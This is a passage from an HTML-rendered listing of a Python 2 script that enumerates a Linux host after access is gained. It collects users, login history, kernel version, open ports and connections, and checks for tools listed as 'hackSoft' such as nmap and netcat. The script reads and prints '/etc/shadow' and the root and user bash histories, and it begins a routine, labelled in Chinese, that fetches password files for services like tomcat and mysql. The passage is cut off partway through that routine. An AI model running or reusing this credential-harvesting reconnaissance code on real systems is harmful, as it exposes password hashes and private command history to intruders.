<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;users&nbsp;informaintion#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;userlist&nbsp;=&nbsp;os.popen(_hostcmdList[<\/span><span>2<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_userlist&nbsp;=&nbsp;userlist.split(<\/span><span>'\\n'<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;userlist &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;online&nbsp;users&nbsp;list#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_useronline&nbsp;=&nbsp;os.popen(_hostcmdList[<\/span><span>3<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.host_useronline &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;users&nbsp;login&nbsp;history#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_last&nbsp;=&nbsp;os.popen(_hostcmdList[<\/span><span>4<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.host_last &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;linux&nbsp;kernel&nbsp;version#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_systemId&nbsp;=&nbsp;os.popen(_hostcmdList[<\/span><span>5<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.host_systemId&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;linux&nbsp;press&nbsp;version#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_systemversion&nbsp;=&nbsp;os.popen(_hostcmdList[<\/span><span>6<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.host_systemversion&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;import&nbsp;local&nbsp;files#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_hostfileList&nbsp;=&nbsp;[ &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'cat&nbsp;\/etc\/shadow'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'cat&nbsp;~\/.bash_history'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'cat&nbsp;\/root\/.bash_history'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;shadow#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_shadow&nbsp;=&nbsp;os.popen(_hostfileList[<\/span><span>0<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.host_shadow &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;bash_history#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_bash_history.append(os.popen(_hostfileList[<\/span><span>1<\/span><span>]).read()) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_bash_history.append(os.popen(_hostfileList[<\/span><span>2<\/span><span>]).read()) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'###Get&nbsp;too&nbsp;much###'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_servicecmdlist&nbsp;=&nbsp;[ &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'netstat&nbsp;-antlp'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>''<\/span><span>''' <\/span>&nbsp;<\/li>\n  \n  \n  \n  <li><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;netstat&nbsp;-antlp&nbsp;|&nbsp;grep&nbsp;'ESTABLISHED' <\/span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'''<\/span><span>&nbsp;<\/span><\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;system&nbsp;services&nbsp;and&nbsp;listening&nbsp;Port#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_services&nbsp;=&nbsp;os.popen(_servicecmdlist[<\/span><span>0<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.host_services &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;network&nbsp;ESTABLISHED#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_ESTABLISHEDlink&nbsp;=&nbsp;os.popen(_servicecmdlist[<\/span><span>1<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.host_ESTABLISHEDlink &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;cmd&nbsp;can&nbsp;be&nbsp;used#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_host_hackSoft&nbsp;=&nbsp;[ &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'nmap'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'nc'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'netcat'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'wget'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'tcpdump'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'wireshark'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'rpm'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'yum'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'apt-get'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'ftp'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'ssh'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'telnet'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'scp'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'nslookup'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;cmd&nbsp;<\/span><span>in<\/span><span>&nbsp;_host_hackSoft: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;typecmd&nbsp;=&nbsp;<\/span><span>'type&nbsp;'<\/span><span>+cmd+<\/span><span>'&nbsp;&gt;\/dev\/null'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>try<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;out&nbsp;=&nbsp;os.system(typecmd) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;<\/span><span>0<\/span><span>&nbsp;==&nbsp;out: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_hackCmd.append(cmd) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'%s&nbsp;is&nbsp;ok'<\/span><span>&nbsp;%&nbsp;cmd &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>except<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'%s&nbsp;is&nbsp;unused'<\/span><span>&nbsp;%&nbsp;cmd &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'###################Get&nbsp;localhost&nbsp;information&nbsp;finished####################\\n'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;mgFileGet(<\/span><span>self<\/span><span>): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'##########\u83b7\u53d6\u53e3\u4ee4\u5bc6\u7801\u6587\u4ef6\u4e2d\u3002\u3002\u3002\u3002\u3002\u3002##########'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'PHP'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'tomcat'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'apache'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'struts'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'jboss'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'weblogic'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'ftp'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'ssh'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'vnc'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'mysql'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  